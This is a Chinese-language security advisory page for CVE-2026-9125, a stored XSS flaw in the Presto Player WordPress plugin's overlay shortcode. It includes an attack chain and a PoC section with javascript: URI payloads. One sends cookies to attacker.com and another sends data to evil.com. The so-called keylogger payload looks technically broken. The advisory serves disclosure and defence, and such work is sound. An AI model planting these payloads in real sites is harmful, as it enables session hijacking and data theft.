IPBUF安全漏洞报告
English
CVE-2026-9125 CVSS 6.4 中危

CVE-2026-9125: Presto Player插件link_url参数存储型XSS漏洞

披露日期: 2026-06-12

漏洞信息

漏洞编号
CVE-2026-9125
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Presto Player WordPress插件

相关标签

存储型XSS跨站脚本WordPress插件Presto PlayerShortcode注入javascript:协议绕过CVE-2026-9125Web组件漏洞认证用户利用

漏洞概述

Presto Player是WordPress平台上广受欢迎的视频播放插件。2026年6月,安全研究人员发现该插件存在严重的存储型跨站脚本(XSS)漏洞。漏洞根源在于`getOverlays()`函数对`[presto_player_overlay]`短代码中的`link_url`参数处理不当——该函数直接将`link_url`属性值复制到覆盖层配置中,未进行充分的输入清理和输出转义。更危险的是,该函数缺少协议验证机制,导致攻击者可以使用`javascript:`协议前缀构造恶意URI。当用户访问包含恶意短代码的页面时,presto-dynamic-overlay-ui Web组件会将这些未经过滤的数据渲染为可点击的锚点链接。一旦用户点击该链接,嵌入的JavaScript代码就会在受害者浏览器中执行,可能导致会话劫持、敏感数据窃取或进一步的恶意操作。此漏洞需要攻击者具备至少contributor级别的账户权限,影响范围覆盖Presto Player 4.2.0及之前所有版本。

技术细节

漏洞位于Presto Player插件的Shortcodes.php文件中,具体涉及`getOverlays()`函数(第464行和513行附近)。该函数在处理`link_url`短代码属性时存在以下问题:1) 直接将用户输入的`link_url`值赋值给overlay配置对象,未进行URL协议白名单校验;2) 缺少对`javascript:`等危险协议前缀的过滤;3) 输出时未进行适当的HTML转义。攻击者只需构造如下短代码即可触发漏洞:`[presto_player_overlay link_url="javascript:alert(document.cookie)"]`。当presto-dynamic-overlays.js组件渲染覆盖层时,会将该值直接作为href属性输出到DOM中。浏览器在解析href属性时识别javascript:协议,会在点击时执行其中的JavaScript代码。由于漏洞属于存储型XSS,恶意代码会永久保存在数据库中,所有访问该页面的用户都会受到影响,包括管理员。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标网站使用的Presto Player插件版本,确认版本号<=4.2.0
STEP 2
Authentication
攻击者获取WordPress contributor级别或更高权限的账户
STEP 3
Payload Crafting
攻击者构造包含javascript:协议的恶意link_url参数短代码
STEP 4
Injection
通过页面编辑器插入恶意短代码并发布,payload存储到数据库
STEP 5
Trigger
受害者访问包含恶意短代码的页面,presto-dynamic-overlay-ui组件渲染页面
STEP 6
Execution
受害者点击覆盖层链接,浏览器执行javascript: URI中的恶意代码
STEP 7
Impact
攻击者成功窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Presto Player Stored XSS PoC // Target: Presto Player plugin <= 4.2.0 for WordPress // Attack Vector: [presto_player_overlay] shortcode with malicious link_url // Method 1: Basic XSS via javascript: protocol [presto_player_overlay link_url="javascript:alert(document.domain)" title="Click Me"] // Method 2: Cookie stealing payload [presto_player_overlay link_url="javascript:fetch('https://attacker.com/steal?c='+document.cookie)" title="Watch Video"] // Method 3: Session hijacking with keylogger [presto_player_overlay link_url="javascript:var i=new Image; i.src='https://evil.com/log?k='+event.key" title="Free Download"] // Exploitation steps: // 1. Attacker with contributor+ role creates/edits a post // 2. Inserts the malicious shortcode with javascript: URI // 3. Saves/publishes the post - payload stored in database // 4. Any user visiting the page triggers the XSS when clicking overlay link // Vulnerable code location (Shortcodes.php): // $overlay['link_url'] = $params['link_url']; // No sanitization! // Later rendered by presto-dynamic-overlays.js as: <a href="javascript:...">

影响范围

Presto Player WordPress插件 <= 4.2.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 临时禁用presto_player_overlay短代码功能;2) 限制contributor及以下角色用户的文章发布权限;3) 部署Web应用防火墙(WAF)规则拦截包含javascript:协议的请求;4) 加强对新发布和修改页面的内容审核;5) 考虑使用第三方安全插件监控异常短代码注入行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表